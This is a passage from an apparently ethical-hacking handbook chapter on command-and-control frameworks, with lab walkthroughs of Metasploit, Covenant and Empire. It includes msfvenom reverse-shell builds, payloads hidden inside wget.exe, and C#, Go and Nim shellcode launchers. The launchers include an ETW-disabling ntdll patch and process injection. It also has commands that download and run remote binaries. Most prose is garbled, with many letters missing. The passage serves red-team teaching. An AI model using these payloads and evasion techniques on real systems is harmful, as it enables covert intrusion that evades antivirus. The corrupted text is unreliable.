commnds vi he UNC ph, so we’ll lunch our msf1.exe file off our ghh shre:
PS C:\Users\target> & \\10.0.0.40\ghh\msf1.exe
Bck on our Kli ox, we should see he shell cll ck o he C2 server nd open
session:
[*] Meterpreter session 1 opened (10.0.0.40:4444 -> 10.0.0.20:49893) at 2021-
09-12 05:45:12 +0000
Now we cn execue commnds. Meerpreer hs some uil-in commnds h cn
e seen wih he help commnd. Some frequen sks we my wn o perform include
geing he user ID h execued he shell using he getuid commnd nd geing shell
using he shell commnd:
meterpreter > getuid
Server username: GHH\target
meterpreter > shell
Process 1200 created.
Channel 2 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\target>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
GHH\Domain Admins
The command completed successfully.
C:\Users\target>exit
Exit
We hve idenified h we re running s he GHH\rge user nd hve opened
shell o look he locl Adminisrors group using he net commnd. Afer exiing he
shell, we see our Meerpreer promp ck. Mesploi hs uil-in pos modules for lo
of differen civiies. You cn see he pos-exploiion modules y yping run post/ nd
Chapter 7: Command and Control (C2)
131
pressing tab. They re ghered y funcion; for exmple, if we wned o gher logged-
on users, we could use he following module:
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 3
Current Logged Users
====================
SID User
--- ----
S-1-5-21-449742021-2098378324-3245439462-1111 GHH\target
PART II
[+] Results saved in: /home/kali/.msf4/loot/20210912061025_default_10.0.0.20_
host.users.activ_930927.txt
We cn see our rge user logged in, nd hen we my see ddiionl oupu of users
who hve logged in recenly. To exi, we ype quit o exi our shell nd hen exit -y o
exi Mesploi.
Mesploi hs mssive mouns of funcionliy, nd enumering ech possiiliy
in his chper isn’ possile. However, wih he Mesploi Unleshed clss nd some of
hese ips, you should e well on your wy o using Mesploi s pylod generor
nd C2 ool.
PowerShell Empire
PowerShell Empire ws relesed BSides Ls Vegs y Will Schroeder nd Jusin Wrner
in 2015. Since hen, he GiHu projec hs een rchived, nd forked version is
eing minined nd improved y BCSecuriy hps://gihu.com/BC-SECURITY/
Empire. PowerShell Empire is Pyhon-sed C2 frmework h uses PowerShell-sed
pylods, sgers, nd pos-exploiion modules o perform sks. I uses componens
of PowerSploi, ShrpSploi, nd oher ools in pos-exploiion modules, which mens
h mny of he ools h esers will use re lredy uil in.
Once Microsof implemened he Animlwre Scn Inerfce (AMSI) nd incresed
PowerShell logging, PowerShell ecme less populr nd C# ools sred gining popu-
lriy. However, Empire now includes AMSI nd Scrip-Block Logging ypsses h cn
help hide from some of he more recen securiy improvemens. We will look in deph
Empire in Chper 15.
Covenant
Covenn is C2 frmework wrien in C# h cn run on oh Linux nd Windows.
Wih he populriy of C# in red em civiies, Covenn hs gined in populriy
ecuse i hs nive C# suppor o uild inries nd cn use mny of he populr C#
pos-exploiion ools. In ddiion, he iliy o execue ddiionl C# ssemlies in
memory nd he iliy o exend he frmework esily mkes i simple o dd your
fvorie C# ools ino he frmework for operions.
Covenn is lso deployle vi Docker nd hs friendly we inerfce. I ships wih
smple profiles o use for we nd for ridge liseners h cn e used for cusom proo-
cols nd exernl C2. In ddiion, i hs feures h re gre for red ems, such s he
iliy o rck rifcs used on n operion s well s o uild ck grphs h show
he ph eser ook during n operion.
Gray Hat Hacking: The Ethical Hacker’s Handbook
132
TIP Covenant has great documentation. For more information about
any feature or for information about in-depth customization of Covenant
payloads, stagers, and more, go to the wiki page at https://github.com/
cobbr/Covenant/wiki.
To sr Covenn, on he l Kli ox, run he following commnd:
└─$ sudo covenant-kbx start
>>> Starting covenant
Please wait during the start, it can take a long time...
>>> Opening https://127.0.0.1:7443 with a web browser
covenant/default started
Press ENTER to exit
Then, in your we rowser, go o hps://<ip of your kli ox>:7443. Once you click
hrough he SSL wrning, you will e le o se up he firs ccoun on Covenn. Pu
whever you’d like your usernme nd pssword o e, u pick somehing secure so
oher folks cn’ use your C2 sysem.
The Dshord, shown here, is he firs screen you will come o.
Covenn hs some nming convenions h re differen from mny oher C2
sysems. Gruns re he C2 cliens. A Grun connecs o Lisener, which is he service
h is sood up for C2 communicions. Any ime you issue commnd o Grun,
i is considered Tsk nd is rcked in he Tskings lis, where you cn see wh com-
mnds hve een sen nd heir reurn vlues. To dd new Lisener, click he Liseners
link on he lef nd choose Cree o ge o he Cree Lisener screen.
Chapter 7: Command and Control (C2)
133
PART II
For he HpProfile field, we choose CusomHpProfile nd hen need o fill in some
ddiionl fields. The firs is Nme; he deful nme isn’ esily rememerle, so le’s
nme i hp1. The BindAddress field is ll zeros ecuse we wn i o ccep ny IP ddress
h is on he hos mchine, u we do need o chnge he ConnecAddresses field. This is
he ddress h cliens will connec o, nd y deful i will hve one of he Docker IPs,
so we need o se i o he inernl IP ddress for Kli, 10.0.0.40. Nex, we click he Cree
uon o sr he Lisener. When we look on he Liseners , i should show h he
hp1 Lisener is “Acive,” mening his Lisener ws se up correcly.
Our nex sep is o cree wy of geing he rge o e le o run our inry.
For his, we will go o he Lunchers on he lef nd choose he Binry opion. The
Binry Luncher screen will e displyed for us o ener our relevn informion ino.
Gray Hat Hacking: The Ethical Hacker’s Handbook
134
For he Lisener field, we choose hp1 nd leve everyhing else he sme, excep
for he DoNeVersion, which we se o Ne40. The version of DoNe is imporn
ecuse older sysems my no hve DoNe 4.0, nd newer sysems my no hve
DoNe 3.5. Doing i of recon on he rge efore choosing he pylod ype my
e helpful here. Becuse we know h our rge ox is Windows Server 2016, we cn
sfely choose he Ne40 opion. Once we click he Genere uon, he pylod will
e genered inside he pplicion, even hough here won’ e feedck, u now we
need o ge i o our rge.
Nex, we see he Binry Luncher screen. In he Hos field, we cn specify locion
o hos our inry. To mke i esy, we will jus specify he locion s /grunt1.exe nd
hen click Hos.
You won’ ge ny feedck, u he file is now hosed. You cn go o he Liseners ,
click your lisener, nd hen click Hosed Files o vlide h he file is eing hosed if
you hve prolems.
To execue he Grun on our rge ox, go o PowerShell promp nd downlod
nd execue he Grun:
PS C:\Users\target> iwr http://10.0.0.40/grunt1.exe -o grunt1.exe
PS C:\Users\target> .\grunt1.exe
When you do his, n ler my riefly pop up on he op righ of he rowser o show
h you hve new Grun. To view he Grun, go o he Gruns nd click he nme
of he new Grun.
The Info , shown nex, hs sic informion ou he compromised sysem. We
know h i is n HTTP Grun running s he GHH\rge user on WS20 wih n
IP ddress of 10.0.0.20. We hve he OS version, when he connecion ws eslished,
nd he ls check-in ime. This gives us he sic informion ou he helh nd con-
ex of he Grun, u i’s rrely wh we’ll wn o do. To perform our pos-exploiion
civiies, we need o go o he Tsk .
Chapter 7: Command and Control (C2)
135
PART II
The Tsk shows he vrious uil-in modules Covenn hs h we cn run.
Choosing sk will show he opions for h sk. To jus undersnd he sics, we re
going o run he WhoAmI module h ges he curren user conex. We lredy sw his
from he Grun Info screen, u we cn esily verify h informion wih his module.
When we run he sk, he Inerc window is displyed. We see he commnd eing
sen, u i kes few momens for he response o come ck. This is ecuse our
Grun isn’ rel-ime Grun nd insed hs econ inervl. Wih his inervl, i my
ke up o 10 seconds o respond (5 seconds for he Grun o check in nd ge he reques
nd hen 5 more seconds efore i reurns he response). This is ecuse our Luncher
dely ws se 5 seconds.
Gray Hat Hacking: The Ethical Hacker’s Handbook
136
As you cn see, mny sks cn e run wihin Covenn, nd we cover mny of hose
echniques in Chpers 16 nd 17.
The res of he ls in his chper use Mesploi for pylods for he ske of simplic-
iy, u you could use Covenn insed. When you re done wih Covenn, issue he
following commnd in Kli o shu down he server:
└─$ sudo covenant-kbx stop
covenant/default stopped
Press ENTER to exit
Payload Obfuscation
One of our igges chllenges s ehicl hckers is how o sy hed of common conrols.
Mny criminls will use cusom ools o sy hed of hese conrols, u frequenly we
don’ hve he ime o cree cusom sofwre for differen ess. Mny of he nivirus
(AV) vendors re looking he pulicly ville ools nd uilding deecions for hem,
so i’s imporn o know ips nd ricks o chnge our pylods in differen wys so we
cn use hose ools wihou immediely geing cugh.
For his l, we’re going o look differen encoding nd ofuscion mehods h cn
e used wih msfvenom o hide pylods. For he firs exmple, we’ll ke look using
encoding o chnge he ppernce of he pylod iself. To do his, we will use he com-
mon encoding “shik_g_ni,” which in Jpnese roughly rnsles o “nohing cn e
done ou i.”
To egin wih, le’s look some of he srings h re pr of Meerpreer from our
iniil msf1.exe genered in L 7-1. These srings re pr of he oken mnipulion
funcionliy, nd we cn use his funcionliy o rck he Meerpreer hiding for
fuure inries:
└─$ strings /tmp/msf1.exe | grep -i token
OpenProcessToken
AdjustTokenPrivileges
OpenThreadToken
Chapter 7: Command and Control (C2)
137
We see he funcion nmes for opening process nd hred okens s well s djusing
privileges. Nex, le’s dd some encoding o see wh h looks like:
└─$ msfvenom -p windows/meterpreter_reverse_tcp -f exe -e x86/shikata_ga_nai \
-i 3 --platform Windows -o /tmp/msf2.exe
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 175203 (iteration=0)
x86/shikata_ga_nai succeeded with size 175232 (iteration=1)
PART II
x86/shikata_ga_nai succeeded with size 175261 (iteration=2)
x86/shikata_ga_nai chosen with final size 175261
Payload size: 175261 bytes
Final size of exe file: 250368 bytes
Saved as: /tmp/msf2.exe
We specify he ddiionl opions of -e wih our encoder ype nd -i wih he numer
of ierions we wn o run. We cn see i encoding hree imes nd wriing ou he
inry. If you wned o use differen encoder, msfvenom -l encoders will show you
opions. Noice ech one is prepended wih he plform of he encoder ype, nd here
we’re genering x86 inries. When we run our strings commnd gin, we don’ ge
nyhing ck, showing h he ex in he Meerpreer pylod iself is ofusced:
└─$ strings /tmp/msf2.exe | grep -i token
┌──(kali kali)-[/tmp]
When we look he inries, hough, we see h hey re he sme size:
└─$ ls -l /tmp/msf*
-rwxr-xr-x 1 kali kali 250368 Sep 12 05:39 /tmp/msf1.exe
-rw-r--r-- 1 kali kali 250368 Sep 13 06:04 /tmp/msf2.exe
This is ecuse he emples for hese inries re idenicl. This isn’ opiml, s i
mkes he size good indicor. One hing we cn do is choose Windows inry h
we migh e le o use s emple h would e differen. Kli hs some Windows
inries in he sysem lredy, so le’s use he wge.exe inry s our emple:
└─$ msfvenom -p windows/meterpreter_reverse_tcp -f exe -e x86/shikata_ga_nai
\
-i 3 --platform Windows -o /tmp/msf3.exe \
-x /usr/share/windows-binaries/wget.exe
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
<snipped>
x86/shikata_ga_nai chosen with final size 175261
Error: No .text section found in the template
The error is ecuse msfvenom ries o injec he pylod ino he .ex secion of
he inry, nd if h secion doesn’ exis, we hve prolem. Le’s ke look he
secions h re in he inry for wge.exe:
└─$ objdump -h /usr/share/windows-binaries/wget.exe
/usr/share/windows-binaries/wget.exe: file format pei-i386
Gray Hat Hacking: The Ethical Hacker’s Handbook
138
Sections:
Idx Name Size VMA LMA File off Algn
0 UPX0 00070000 00401000 00401000 00000400 2**2
CONTENTS, ALLOC, CODE
1 UPX1 0004b000 00471000 00471000 00000400 2**2
CONTENTS, ALLOC, LOAD, CODE, DATA
2 UPX2 00000200 004bc000 004bc000 0004b400 2**2
CONTENTS, ALLOC, LOAD, DATA
The inry is pcked wih UPX, so here isn’ ex heder. The exe-only ype for
msfvenom, hough, will overwrie he code o dd msfvenom wihou requiring .ex
secion. When we run i gin, i works:
└$ msfvenom -p windows/meterpreter_reverse_tcp -f exe-only -e x86/shikata_ga_nai \
-i 3 --platform Windows -o /tmp/msf3.exe \
-x /usr/share/windows-binaries/wget.exe
[-] No arch selected, selecting arch: x86 from the payload
<snipped>
Payload size: 175261 bytes
Final size of exe-only file: 308736 bytes
Saved as: /tmp/msf3.exe
One of he side effecs of his echnique is h wget won’ cully ry o do hings i
normlly would, so someone migh ecome suspicious. We cn use he -k flg o keep
funcionliy in he inry. Le’s mke new inry wih he -k flg:
└─$ msfvenom -p windows/meterpreter_reverse_tcp -f exe -e x86/shikata_ga_nai \
-i 3 --platform Windows -o /tmp/msf4.exe \
-x /usr/share/windows-binaries/wget.exe -k
[-] No arch selected, selecting arch: x86 from the payload
<snipped>
Saved as: /tmp/msf4.exe
This worked wih he exe ype ecuse i is injecing new secion heder o hold he
code. Le’s ke look he objdump oupu:
└─$ objdump -h /tmp/msf4.exe
/tmp/msf4.exe: file format pei-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 UPX0 00070000 00401000 00401000 00000400 2**2
CONTENTS, ALLOC, LOAD, CODE
1 UPX1 0004b000 00471000 00471000 00000400 2**2
CONTENTS, ALLOC, LOAD, CODE, DATA
2 UPX2 00000200 004bc000 004bc000 0004b400 2**2
CONTENTS, ALLOC, LOAD, DATA
3 .text 0002add4 004bd000 004bd000 0004b600 2**2
CONTENTS, ALLOC, LOAD, CODE
Oky, so now h we hve few inries, le’s mke hem execule nd lunch
msfconsole o cch our shells:
└─$ chmod 755 /tmp/*.exe
└─$ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
Chapter 7: Command and Control (C2)
139
msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.40
LHOST => 10.0.0.40
msf6 exploit(multi/handler) > set ExitonSession false➊
ExitonSession => false
msf6 exploit(multi/handler) > exploit -j❷
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.0.40:4444
PART II
We hve dded wo new specs o our commnd. The firs is seing he
ExitonSession vlue o false ➊. Typicl ehvior is o sop lisening once we ge our
firs shell ck. In our cse, we wn o cch muliple shells o ry ech of our inries.
The oher ehvior we wn o fix is immediely going ino session once shell con-
necs ck. To do his, we specify -j ❷ wih he exploit commnd o ell Mesploi
we wn i o run in he ckground s jo. Now when we ge shells, we will see
messge sying new shell conneced, u we won’ hve o immediely inerc wih
i. Now le’s go ck o our Windows ox nd run some of our new shells:
PS C:\> cd \\10.0.0.40\ghh
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\msf2.exe
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\msf3.exe
On our Kli ox, we see wo shells connec, u on he Windows ox, he firs shell
gives us conrol ck immediely while he second hngs. The msf3 inry is our
wge.exe inry h hs hd he code pched o run our shell insed, wheres he
msf2 inry is our encoded sic .exe file from msfvenom. Le’s ccess our session from
he msf3 inry nd exi ou of he Kli ox:
[*] Meterpreter session 2 opened (10.0.0.40:4444 -> 10.0.0.20:65501) at 2021-
09-13 06:44:52 +0000
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 10.0.0.20 - Meterpreter session 2 closed. Reason: User exit
We used he sessions commnd o inerc wih he open session 2, nd we see he
Meerpreer promp where we ype exit. Bck on he Windows ox, conrol hs reurned.
On our Windows ox, le’s ry running he msf4.exe inry, which is using wge.exe wih
he -k flg o keep funcionliy:
PS ::\\10.0.0.40\ghh> .\msf4.exe
msf4: missing URL
Usage: msf4 [OPTION]... [URL]...
Try `msf4 --help' for more options.
PS ::\\10.0.0.40\ghh> .\msf4.exe http://scanme.nmap.org
--06:50:06-- http://scanme.nmap.org/
=> `index.html'
Resolving scanme.nmap.org... 45.33.32.156
Connecting to scanme.nmap.org[45.33.32.156]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Gray Hat Hacking: The Ethical Hacker’s Handbook
140
When we firs run he inry, i shows n error messge indicing we need o specify
URL. This is he ypicl wget funcionliy, u we don’ ge shell ck ecuse he
inry never mde i o our shellcode. When we ry gin wih URL, we see wget rying
o downlod file o our SMB shre, u i cn’ wrie. On our Mesploi console we
should see somehing like his:
[*] Meterpreter session 3 opened (10.0.0.40:4444 -> 10.0.0.20:49176) at 2021-
09-13 06:50:06 +0000
[*] 10.0.0.20 - Meterpreter session 3 closed. Reason: Died
The session died righ wy ecuse when he inry finished, i killed off our shell
s well. We could reques relly ig pge so h i kes long ime, u we hve
ddiionl opions. In he dvnced opions (which cn e shown for ny pylod vi
--list-options) is n opion for PrependMigrate, which will dd migrion o new
process he eginning of he code, mking our shell live longer hn he process iself.
Le’s uild one of hose nd ry i:
└─$ msfvenom -p windows/meterpreter_reverse_tcp -f exe -e x86/shikata_ga_nai \
-i 3 --platform Windows -o /tmp/msf5.exe \
-x /usr/share/windows-binaries/wget.exe -k PrependMigrate=true
[-] No arch selected, selecting arch: x86 from the payload
<snipped>
Saved as: /tmp/msf5.exe
┌──(kali kali)-[/tmp]
└─$ chmod 755 /tmp/msf5.exe
On our Windows ox, when we run msf5.exe, we should see he sme oupu s
msf4.exe, u in Mesploi we see somehing differen:
msf6 exploit(multi/handler) > [*] Meterpreter session 4 opened
(10.0.0.40:4444 -> 10.0.0.20:49250) at 2021-09-13 06:57:31 +0000
msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > getpid
Current pid: 3704
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
<snipped>
3532 836 ShellExperienceHost.exe x64 2 GHH\target C:\Windows\
SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
3704 3444 rundll32.exe x86 2 GHH\target C:\Windows\
SysWOW64\rundll32.exe
The process h our shellcode is running in is no msf5.exe u insed rundll32
.exe. Our inry spwned new process nd injeced ino i, leving our session up, even
hough msf5.exe finished. Wih hese echniques, we cn eer hide Mesploi pylods
in oher inries wih ddiionl ofuscion o ry o keep signure-sed AV engines
from deecing hem. We hve more opions hn jus he emples for msfvenom,
hough. Le’s look some lernive sregies.
Chapter 7: Command and Control (C2)
141
Creating C# Launchers
The deful lunchers wih Mesploi nd oher C2 ools re frequenly deeced y AV,
endpoin deecion nd response (EDR), nd oher securiy ools. To com his, mny
ehicl hckers nd criminls use shellcode lunchers o help hide heir shellcode. These
lunchers cn use differen echniques o lunch he shellcode, including injecing ino
oher processes, using encrypion, nd vriey of oher echniques or cominions of
echniques o look differen enough o securiy conrols o no e esily deeced.
PART II
C# hs mny perns h hve een creed for lunching shellcode, including frme-
works like ShrpSploi h cn e included s lirries in oher ools h hve muliple
wys o lunch shellcode h cn e used hrough funcions. The exensiiliy nd il-
iy o include funcions from exernl DLLs wrien in C++ nd oher lnguges mke
i esy o use he higher-level funcionliy of C# o do he ulk of he lifing for he
luncher while swiching o C++ funcions wih sysem DLLs o perform specific sks.
One of he mos sic wys of lunching shellcode is y plcing i in hred. A thread
is se of code h runs concurrenly wih noher piece of code. When we lunch he
code in hred, eiher in our curren process or in noher process, he min ody of he
pplicion keeps running while our shellcode runs he sme ime.
For his l, we’re going o keep using he Mesploi muli/hndler seup from he
previous l nd dd he shellcode o emple. In he Kli insnce is shells sudirec-
ory. When looking in h direcory, we see he wo files we re going o e using for
his l: uild_cshrp.sh nd cshrp.emple. The emple file hs he ody of he code
wih su o inser our shellcode.
The uild_cshrp.sh scrip conins he msfvenom commnd o cree 64-i
Meerpreer reverse TCP shell h connecs ck o our hndler nd hen compiles he
resuling code wih he Mono C# compiler, mcs. The resuling wo files re he cshrp.cs
file nd cshrp_dropper.exe file in /mp. Le’s ke look he emple file:
UInt32 scAddress = ❶VirtualAlloc(0,(UInt32)shellcode.Length,
MEM_COMMIT, PAGE_READWRITE);
❷Marshal.Copy(shellcode, 0, (IntPtr)(scAddress), shellcode.Length);
uint prot;
❸VirtualProtect((IntPtr)(scAddress), shellcode.Length, PAGE_EXECUTE, out prot);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
❹hThread = CreateThread(0, 0, scAddress, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
Our C# code egins ❶, where we cree memory h is he size of our shellcode.
Th memory is empy, so ❷, we copy he conens of our shellcode ino i. In order
o execue i, he memory hs o e mrked execule, nd VirtualProtect ❸ does h
for us. From here, ❹, we cree hred h runs he shellcode. Finlly, we wi for
h shellcode o finish wih he WaitForSingleObject commnd, nd once i finishes,
Gray Hat Hacking: The Ethical Hacker’s Handbook
142
he progrm cn exi. Now h we hve nlyzed wh i does, le’s uild i using he
following commnds:
└─$ ./build_csharp.sh
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Final size of csharp file: 1014695 bytes
When we run he shell file, we see he oupu from msfvenom prined o he screen,
nd our resuling cshrp_dropper64.exe file is in /mp. We cn ccess i from he
Windows ox vi our shre. Wih Mesploi sill running, wiing for connecions, le’s
run h inry:
PS C:\> cd \\10.0.0.40\ghh
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\csharp_dropper64.exe
In he Mesploi console on Kli, we should see our new shell come in:
[*] Meterpreter session 4 opened (10.0.0.40:4444 -> 10.0.0.20:56949)
at 2021-09-25 05:09:29 +0000
msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...
To vlide we re running s he new process, we cn use he getpid commnd o
ge he curren process ID nd hen use ps -S <processname> o vlide i mches our
process ID:
meterpreter > getpid
Current pid: 4272
meterpreter > ps -S csharp_dropper64.exe
Filtering on 'csharp_dropper64.exe'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
4272 4016 csharp_dropper64.exe x64 2 GHH\target
We cn see h our code is running in our C# luncher nd we hve he iliy o
lunch commnds in Mesploi. This could hve een ny pylod we wn, such s
Covenn pylod or oher ypes of C2 pylods.
Creating Go Launchers
Go is growing in populriy ecuse of is cross-plform cpiliies. Go cn e com-
piled for moile nd rdiionl compuer plforms, including iOS, Linux, Windows,
mcOS, Solris, nd even z/OS. Becuse Go is compiled, i’s good wy of inroducing
lunchers h rdiionl signures migh no cch. Go cn use Windows nd oher
opering sysems’ uil-in lirries nd consrucs o execue shellcode wihou follow-
ing he rdiionl perns h signure-sed deecions my e looking for.
Chapter 7: Command and Control (C2)
143
One of he GiHu projecs h hs good Windows exmples is Russel Vn Tuyl’s
go-shellcode reposiory (hps://gihu.com/Ne0nd0g/go-shellcode), which hs differen
execuion perns wrien in Go. These re good references for mking your own Go
luncher s well s for poring hese perns o oher lnguges.
PART II
Windows inries in Go cn e cross-compiled from Kli Linux using he mingw pck-
ges. Wih he golng nd mingw pckges inslled, ll we hve o do is specify he rchi-
ecure nd OS, nd Go will hndle he mjoriy of he uild insrucions for us. For his
l, we will coninue o use our Meerpreer lisener, nd we will use he uild_go.sh nd
go.emple files in he shells direcory. The Go code for his l uses slighly differen
echnique hn he ls l. Insed of hreds, we use fier o lunch our code. A fiber is
similr o hred. I is n execuion srem sepre from he min porion of he code.
However, hreds re scheduled y he pplicion. Two hreds don’ hve o do nyhing
specil o oh run he sme ime. Fiers require scheduler o hndle he mulisk-
ing. As resul, when we run our fier, i will keep running unil i exis or unil our code
relinquishes conrol o he res of he pplicion.
NOTE Fibers and threads have more differences. If you want to know
more about how threads and fibers are related and how to use them in
applications, see Dale Weiler’s great reference at https://graphitemaster
.github.io/fibers/.
Becuse our shellcode doesn’ know i’s in fier, he end resul is h our code will
hng unil our shellcode exis. The Go code will look similr o wh we did in C#
ecuse i’s lso using Windows kernel32.dll nd ndll.dll lirries. This code is modi-
fied from he ired.em fier exmples s well s he code from he Ne0nd0g reposiory
menioned erlier.
For his exmple, we re going o e encoding our shellcode in se64, which les us
esily pu i ino Go synx:
shellcode, err := base64.StdEncoding.DecodeString(sc)
Here, we re using he se64 lirry nd decoding he sring we hve se wih our shell-
code, sc, nd sving i in he shellcode vrile. If ny error codes re reurned, hey re
sved ino he err vrile. The := operor is for creing nd ssigning vriles he
sme ime, where = is used o ssign vlue o vrile h hs lredy een creed:
_, _, err = ❶ConvertThreadToFiber.Call()
addr, _, err:= ❷VirtualAlloc.Call(0, uintptr(len(shellcode)),
_MEM_COMMIT|_MEM_RESERVE, _PAGE_RWX)
_, _, err = ❸RtlCopyMemory.Call(addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)))
fiber, _, err:= ❹CreateFiber.Call(0, addr, 0)
❺SwitchToFiber.Call(fiber)
Gray Hat Hacking: The Ethical Hacker’s Handbook
144
To execue our shellcode, we need o follow few seps. The firs sep is o conver
our min hred ino fier. We do his wih he ConvertThreadToFiber funcion ❶,
which, when specified wih no opions, kes he curren hred nd convers i o fier.
We hve o do his ecuse only fiers cn cree ddiionl fiers.
The nex sep is o lloce memory for our shellcode wih he VirtualAlloc funcion ❷.
Here, we re creing he memory s Red/Wrie/Execue in one sep. This my e seen
s mlicious o some defense producs, so we could lwys mke i wrile o copy he
shellcode in nd hen remove he wrie is using VirtualProtect o mke i seem less
suspicious. Now h we hve he memory, we cn copy he shellcode ino i wih he
RtlCopyMemory cll ❸. One hing o noe ou Go is h i ries o proec you from
cerin ype conversions h my e dngerous, so using he unsfe lirry will ypss
hose proecions.
The nex sep is o cree new fier for scheduling wih he CreateFiber funcion ❹.
Noice h, for his cll, we re creing new fier poining o he memory locion of
our shellcode nd i is reurning he ddress of he new fier. Wih h ddress we cn
se execuion o he new fier wih he SwitchToFiber cll ❺. From here, our code will
execue unil he fier finishes or he code yields execuion ck o he min fier.
Now h we undersnd wh our code is doing, we cn run he uild_go.sh scrip
from he shells direcory in our hosed Kli. This will cree /mp/CreeFier.exe file
h we cn lunch from our Windows ox. The uild line for he Go inry iself speci-
fies he rchiecure nd OS on he commnd line wih environmen vrile h cn e
se in user’s environmen or on he commnd line iself:
GOOS=windows GOARCH=amd64 go build -o /tmp/CreateFiber.exe createFiber.go
Now wih our msfconsole lisener running, we cn run he code on he Windows ox:
Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\CreateFiber.exe
In our Linux Meerpreer session, we should now see new session h we cn iner-
c wih nd use o execue commnds:
[*] Meterpreter session 5 opened (10.0.0.40:4444 -> 10.0.0.20:58764)
at 2021-09-25 08:07:59 +0000
msf6 exploit(multi/handler) > sessions -i 5
[*] Starting interaction with 5...
meterpreter > getuid
Server username: GHH\target
Our inry on he Windows sysem will coninue o execue unil we exi he Meer-
preer session, nd hen i should exi. You cn invesige he ddiionl exmples in he
go-shellcode direcory on your Kli insnce, nd you cn ry o modify oher exmples
o run on he rge ox s well.
PART II
smples of implemenions of muliple shellcode lunching nd evsion echniques.
For he Nim l, we re going o e using he sme seup s he previous wo ls, wih
our Mesploi Meerpreer hndler lisening nd uilding our code on he Kli mchine.
To se up our modules for our Nim code, we need o insll module. Nimle is he
module mnger for Nim, so from our shells direcory, we insll he winim module
using Nimle, like so:
└─$ nimble install winim
Prompt: No local packages.json found, download it from internet? [y/N]
Answer: y
Downloading Official package list
Success Package list downloaded.
Downloading https://github.com/khchen/winim using git
Verifying dependencies for [email protected]
Installing [email protected]
Success: winim installed successfully.
The winim pckge conins he Windows modules nd definiions we need o lunch
our shellcode. I’s no inslled y deful, so we hve o insll i. Nex, we re going o
ke quick look our Nim code in he nim.emple file in he shells direcory. This
code is sed off of muliple OffensiveNim exmples y By3l33der. We re going o
elimine lo of he error checking nd messging o preserve spce:
const patch: array[1, byte] = [byte 0xc3]
proc Patchntdll(): bool =
var
ntdll: LibHandle
etwPointer: pointer
origProtect: DWORD
trash: DWORD
disabled: bool = false
❶ntdll = loadLib("ntdll")
❷etwPointer = ntdll.symAddr("EtwEventWrite")
❸VirtualProtect(etwPointer, patch.len,
PAGE_EXECUTE_READ_WRITE, addr origProtect)
❹copyMem(etwPointer, unsafeAddr patch, patch.len)
❺VirtualProtect(etwPointer, patch.len, origProtect, addr trash)
Some of his code we’ve seen efore, nd he pern looks fmilir. For his exmple,
we re lunching new process ❶ (in his cse, noepd.exe) where we will injec our
code. We hve o suspend he process so h i won’ e visile nd won’ give he user
conrol. Insed, we’ll open our process ❷ so h we cn mnipule i nd wrie our
shellcode ❸ ino he process. We rese ❹ he proecion seings on he memory so h
i won’ look srnge nd hen cree ❺ hred in he process. The hred will coninue
o run, nd our shellcode will execue while he regulr funcionliy of he process will
sill e suspended nd no visile o he user.
Finlly, we need o ie his informion ogeher. We do his in he equivlen of he
min funcion for Nim:
when isMainModule:
var success = Patchntdll()
echo fmt"[*] ETW blocked by patch: {bool(success)}"
injectCreateRemoteThread(shellcode)
This sys h if we ren’ including his code s lirry nd his is he min mod-
ule of projec, hen i will pch he DLL nd hen injec he shellcode. We cn uild
he shellcode wih he build_nim.sh commnd. The /mp/nim_dropper64.exe inry
should now e in /mp, nd when we run i on our Windows ox, we shouldn’ see ny
oupu, u we should see session come ck in Mesploi:
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\nim_dropper64.exe
[*] Applying patch
[*] ETW blocked by patch: true
Chapter 7: Command and Control (C2)
147
[*] Target Process: 3128
[*] pHandle: 180
[*] WriteProcessMemory: true
\-- bytes written: 200262
[*] tHandle: 144
[+] Injected
Network Evasion
PART II
Wih C2 chnnel eslished, we need o e le o evde deecion on he nework.
There re wo conrol res we ypiclly need o evde. The firs is IDS/IPS, nd he
second is proxy deecion. Mos orgnizions don’ decryp TLS d inernlly, u hey
my decryp TLS d going ouside he orgnizion. Knowing his, we hve muliple
res where encrypion nd evsion cn e performed.
Encryption
Two ypes of encrypion re common for C2 evsion. The firs is TLS-sed evsion.
By using TLS, res h don’ use TLS inspecion will no e le o see inside he rf-
fic, so he only insigh ools will hve ino he rffic will e frequency of communic-
ion nd he desinions. When possile, using TLS encrypion will help proec he
inegriy of he C2 rffic nd hide he srucure nd conen of he communicions
from defenders.
If here is ny quesion ou wheher TLS inspecion is presen, using encrypion
inside he C2 proocol iself is recommended. Depending on he communicion, no
